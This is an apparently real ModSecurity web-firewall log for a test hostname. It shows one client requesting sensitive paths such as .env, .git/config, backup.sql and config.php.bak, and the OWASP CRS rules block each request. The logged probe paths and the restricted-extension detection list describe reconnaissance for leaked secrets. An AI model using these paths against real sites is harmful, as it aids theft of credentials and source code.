[Sun Jun 29 20:20:10.090471 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env~&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6gAAAAAY&quot;]
[Sun Jun 29 20:20:10.112356 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6gQAAAAY&quot;]
[Sun Jun 29 20:20:10.112605 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6gQAAAAY&quot;]
[Sun Jun 29 20:20:10.112793 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6gQAAAAY&quot;]
[Sun Jun 29 20:20:10.133427 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/HEAD&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6ggAAAAY&quot;]
[Sun Jun 29 20:20:10.133682 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/HEAD&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6ggAAAAY&quot;]
[Sun Jun 29 20:20:10.133870 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/HEAD&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6ggAAAAY&quot;]
[Sun Jun 29 20:20:14.989780 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;aGGD3nN4YZunzJSJCzJ6gwAAAAY&quot;]
[Sun Jun 29 20:20:14.990054 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;aGGD3nN4YZunzJSJCzJ6gwAAAAY&quot;]
[Sun Jun 29 20:20:14.990275 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;aGGD3nN4YZunzJSJCzJ6gwAAAAY&quot;]
[Sun Jun 29 20:20:15.010444 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/logs/HEAD&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hAAAAAY&quot;]
[Sun Jun 29 20:20:15.010697 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/logs/HEAD&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hAAAAAY&quot;]
[Sun Jun 29 20:20:15.010888 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/logs/HEAD&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hAAAAAY&quot;]
[Sun Jun 29 20:20:15.031103 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /core/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.gitignore&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hQAAAAY&quot;]
[Sun Jun 29 20:20:15.031362 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.gitignore&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hQAAAAY&quot;]
[Sun Jun 29 20:20:15.031555 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.gitignore&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hQAAAAY&quot;]
[Sun Jun 29 20:20:15.051580 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/access.log&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hgAAAAY&quot;]
[Sun Jun 29 20:20:15.051933 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/access.log&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hgAAAAY&quot;]
[Sun Jun 29 20:20:15.052123 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/access.log&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6hgAAAAY&quot;]
[Sun Jun 29 20:20:15.093268 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app.js.bak&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6iAAAAAY&quot;]
[Sun Jun 29 20:20:15.093627 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app.js.bak&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6iAAAAAY&quot;]
[Sun Jun 29 20:20:15.093817 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app.js.bak&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6iAAAAAY&quot;]
[Sun Jun 29 20:20:15.113842 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/backup.sql&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6iQAAAAY&quot;]
[Sun Jun 29 20:20:15.114200 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/backup.sql&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6iQAAAAY&quot;]
[Sun Jun 29 20:20:15.114406 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/backup.sql&quot;] [unique_id &quot;aGGD33N4YZunzJSJCzJ6iQAAAAY&quot;]
[Sun Jun 29 20:20:20.053789 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.php.bak&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6jwAAAAY&quot;]
[Sun Jun 29 20:20:20.054141 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.php.bak&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6jwAAAAY&quot;]
[Sun Jun 29 20:20:20.054329 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.php.bak&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6jwAAAAY&quot;]
[Sun Jun 29 20:20:20.095546 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/db.sql&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6kQAAAAY&quot;]
[Sun Jun 29 20:20:20.095894 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/db.sql&quot;] [unique_id &quot;aGGD5HN4YZunzJSJCzJ6kQAAAAY&quot;]
